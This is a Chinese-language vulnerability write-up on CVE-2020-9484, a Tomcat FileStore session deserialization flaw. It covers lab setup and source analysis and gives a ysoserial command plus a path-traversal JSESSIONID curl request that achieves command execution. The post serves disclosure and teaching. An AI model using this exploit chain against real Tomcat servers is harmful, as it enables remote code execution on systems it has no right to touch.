Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。
默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存,而 PersistentManager 会将不常用的 session swap out, 从而减少内存占用。
Apache Tomcat:
10.0.0-M1 to 10.0.0-M4
9.0.0.M1 to 9.0.34
8.5.0 to 8.5.54
7.0.0 to 7.0.103
本次使用linux进行测试, 搭建一个Tomcat服务
/usr/local/tomcat/usr/local/tomcat/conf/context.xlm, 添加 Manager<Context><!-- Default set of monitored resources. If one of these changes, the --><!-- web application will be reloaded. --><WatchedResource>WEB-INF/web.xml</WatchedResource><WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource><WatchedResource>${catalina.base}/conf/web.xml</WatchedResource><!-- Uncomment this to enable session persistence across Tomcat restarts --><!--<Manager pathname="SESSIONS.ser" />--><Manager className="org.apache.catalina.session.PersistentManager"><Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/></Manager></Context>
这个 directory 设置成什么都没有关系, 因为不过滤 ../
下载 groovy-2.3.9.jar
https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
将 groovy-2.3.9.jar 放入
/usr/local/tomcat/lib
执行语句运行 Tomcat
/usr/local/tomcat/bin/catalina.sh start

目标是在服务器上执行命令 touch /tmp/2333,假设 .session文件已经被上传到服务器的已知位置。
java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

虽然有报错但是反序列化已经执行了
4、执行 ls /tmp 查看结果

public Session load(String id) throws ClassNotFoundException, IOException {
// Open an input stream to the specified pathname, if any
File file = file(id);
if (file == null || !file.exists()) {
return null;
}
Context context = getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);
try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
ObjectInputStream ois = getObjectInputStream(fis)) {
StandardSession session = (StandardSession) manager.createEmptySession();
session.readObjectData(ois);
session.setManager(manager);
return session;
} catch (FileNotFoundException e) {
if (contextLog.isDebugEnabled()) {
contextLog.debug("No persisted data file found");
}
return null;
} finally {
context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}
}
.session 后缀 然而并没有验证文件的目录
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
BufferedInputStream bis = new BufferedInputStream(is);
CustomObjectInputStream ois;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (manager instanceof ManagerBase) {
ManagerBase managerBase = (ManagerBase) manager;
ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
managerBase.getSessionAttributeValueClassNamePattern(),
managerBase.getWarnOnSessionAttributeFilterFailure());
} else {
ois = new CustomObjectInputStream(bis, classLoader);
}
return ois;
}

../之类的字符串,或者不使用 FileStore。参考链接:
https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
https://y4er.com/post/cve-2020-9484-tomcat-session-rce/#分析
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
https://github.com/masahiro331/CVE-2020-9484
本文作者:Timeline Sec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/142005.html
必填 您当前尚未登录。 登录? 注册
必填(保密)